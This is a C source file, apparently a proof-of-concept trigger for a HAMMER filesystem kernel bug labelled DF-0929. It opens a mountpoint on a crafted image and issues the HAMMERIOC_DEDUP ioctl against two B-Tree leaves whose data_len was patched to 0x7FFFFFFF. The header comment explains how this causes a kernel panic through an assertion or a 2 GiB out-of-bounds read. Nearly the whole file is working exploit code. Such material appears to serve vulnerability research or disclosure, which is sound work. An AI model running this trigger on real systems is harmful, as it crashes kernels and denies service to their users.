DF-0929 / trigger.c
/* * trigger.c - DF-0929 PoC trigger (corrected). * * Opens a HAMMER mountpoint and issues HAMMERIOC_DEDUP against two * crafted B-Tree leaves whose data_len was patched to 0x7FFFFFFF. * * The kernel path (hammer_dedup.c:60-117): * - cursor1.key_beg = dedup->elm1; hammer_btree_lookup(); extract_data(); * - extract_data() -> hammer_btree.c:736: * KKASSERT(data_len >= 0 && data_len <= HAMMER_XBUFSIZE) * On the default X86_64_GENERIC kernel (options INVARIANTS) this * KKASSERT fires immediately because the patched data_len is * 0x7FFFFFFF (> HAMMER_XBUFSIZE=65536). => kernel panic. * * On a non-INVARIANTS kernel the KKASSERT is compiled out and the * bug reaches bcmp(cursor1.data, cursor2.data, data_len) at * hammer_dedup.c:117, performing a 2 GiB OOB read past the 16K data * buffer => page fault => panic. * * Build: cc -o trigger trigger.c * Run: ./trigger /mnt/test (after mounting the patched image) */ #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <sys/ioctl.h> #include <vfs/hammer/hammer_ioctl.h> #include <vfs/hammer/hammer_btree.h> int main(int argc, char **argv) { if (argc != 2) { fprintf(stderr, "usage: %s <hammer_mountpoint>\n", argv[0]); return 2; } int fd = open(argv[1], O_RDONLY); if (fd < 0) { perror("open"); return 1; } /* * Keys of the two patched leaves (output of patch_image.py): * obj_id = 0x000000010000043f (file2's inode number) * key = 0x4000 / 0x8000 (file logical offsets) * create_tid = 0x0000000100008080 * rec_type = 0x0010 (HAMMER_RECTYPE_DATA) * obj_type = 0x02 (HAMMER_OBJTYPE_REGFILE) * btype = 'R' (HAMMER_BTREE_TYPE_RECORD) * localization = 0x00000002 */ struct hammer_ioc_dedup d; memset(&d, 0, sizeof d); d.elm1.obj_id = 0x000000010000043fLL; d.elm1.key = 0x0000000000004000LL; d.elm1.create_tid = 0x0000000100008080LL; d.elm1.delete_tid = 0; /* lookup matches create_tid only */ d.elm1.rec_type = 0x0010; d.elm1.obj_type = 0x02; d.elm1.btype = 'R'; d.elm1.localization = 0x00000002; d.elm2 = d.elm1; d.elm2.key = 0x0000000000008000LL; printf("[*] issuing HAMMERIOC_DEDUP on two patched DATA leaves " "(data_len=0x7FFFFFFF)\n"); fflush(stdout); int rc = ioctl(fd, HAMMERIOC_DEDUP, &d); printf("[*] ioctl returned %d (errno=%d '%s'); head.flags=0x%x " "head.error=%d\n", rc, rc < 0 ? errno : 0, rc < 0 ? strerror(errno) : "ok", d.head.flags, d.head.error); close(fd); return 0; } |